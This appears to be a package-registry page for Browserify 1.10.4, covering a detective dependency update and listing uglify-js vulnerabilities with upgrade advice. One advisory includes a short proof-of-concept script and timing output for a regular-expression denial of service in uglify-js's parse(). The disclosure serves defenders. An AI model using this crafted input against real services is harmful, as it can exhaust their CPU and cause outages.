Browserify version 1.10.4 introduces subtle yet noteworthy changes compared to its predecessor, 1.10.3, primarily affecting dependency specifications. For developers, the most immediate difference can be observed in the dependencies section, where the detective dependency has been updated from 0.0.x to ~0.1.0. This seemingly small change indicates an update to a more specific version range allowing broader compatibility while staying within minor version updates. This update likely incorporates bug fixes or minor feature enhancements to the detective dependency, directly impacting how Browserify analyzes and handles module dependencies within your JavaScript code.
While the core functionality of Browserify remains consistent—offering browser-side require() functionality for JavaScript directories and npm modules—developers should be aware of this dependency update. When upgrading, ensure compatibility of code relying on the older detective version with the newer ~0.1.0 range. Browserify facilitates modular JavaScript development, empowering developers to leverage npm modules directly within browser environments. Both versions retain the same set of development dependencies, license, repository information and author details so the upgrade should be straightforward for developers already using Browserify for organizing and bundling code for the web.
All the vulnerabilities related to the version 1.10.4 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.